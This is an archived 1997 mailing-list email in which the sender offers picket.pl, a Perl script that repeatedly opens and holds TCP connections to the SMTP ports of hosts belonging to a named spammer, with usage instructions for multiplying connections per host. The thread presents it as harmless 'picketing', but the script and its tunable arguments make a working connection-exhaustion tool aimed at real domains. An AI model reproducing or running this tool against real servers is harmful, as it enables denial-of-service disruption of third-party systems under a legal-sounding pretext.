From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 17 Aug 1997 21:33:58 +0800
To: enoch@zipcon.net
Subject: picket.pl (was Re: Picketing With Packets)
In-Reply-To: <19970816212754.10722.qmail@zipcon.net>
Message-ID: <199708171319.OAA03207@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mike Duvos <enoch@zipcon.net> writes:
> We write a little Perl script that keeps exactly ONE AND ONLY ONE
> TCP connection open to each of Mr. Spamford's machines.  Keeping a
> single TCP connection open to someone's box is unlikely to be
> illegal, and does not constitute a Denial of Service attack.
> Consider it the packet equivalent of a single person picketing.

Sounds good to me :-)

Here's picket.pl.

You create two files, one called "hosts" the other called "services",
a hosts file of all of Spamford machines (if you have a list):

answerme.com
spamford.com
savetrees.com

and a "services" file with:

smtp

should do what you describe.

There are a number of arguments you can play with also:

% picket.pl [<num> [<max> [<sleep>] ] ]

<num> is the number of sockets to hold open on each machine/service.
Eg if we set this to 10, it'll try to open 10 connections to the SMTP
port at savetrees.com.  (Defaults to 1)

<max> is the maximum number of connections to hold open (you might want
some left for your own use :-).  Linux seemed to merrily go over 256
though I think some unixes will give you a per user limit of around
256.  (Defaults to 100).

<sleep> is how long to wait before closing and reopening all the
descriptors.  (Defaults to 1 minute).

For example:

% picket.pl 10 100 600

would open 10 connections on each port, would consume 100 socket
descriptors locally, and would wait 10 mins before closing them and
starting over.

Adam

==============================8<==============================
#!/usr/local/bin/perl -s

($num, $max, $sleep) = @ARGV;
if (!defined($num)) { $num = 1; }	# try to open 1 socket on each service
if (!defined($max)) { $max = 100; }	# use this many file descriptors
if (!defined($sleep)) { $sleep = 60; }	# repeat after this time in seconds

use Socket;
$proto = getprotobyname( "tcp" );
$count = 0;

$/ = undef;
open( SERVICES, "services" ) || die( "can't open services\n" );
chop( @service = <SERVICES> );
close( SERVICES );

open( HOSTS, "hosts" ) || die( "can't open hosts\n" );
chop( @hosts = <HOSTS> );
close( HOSTS );

while ( 1 )
{
    foreach $host ( @hosts )
    {
	foreach $service ( @service )
	{
	    foreach ( 1..$num )
	    {
		stuff( $host, $service );
		if ( $v )
		{
		    print "fd[$count] = connect( $host:\U$service )\n";
		}
	    }
	}
    }
    sleep( $sleep );
}

sub stuff
{
    my( $host, $service ) = @_; 
    my( $sock, $port, $ipaddr, $addr );
    $sock = "SOCK$count";
    $count = ($count + 1) % $max;
    close( $sock );
    
    $port = getservbyname( $service, "tcp" );
    socket( $sock, PF_INET, SOCK_STREAM, $proto );

    $ipaddr = inet_aton( $host );
    $addr = sockaddr_in( $port, $ipaddr );
    connect( $sock, $addr );
}
#==============================8<==============================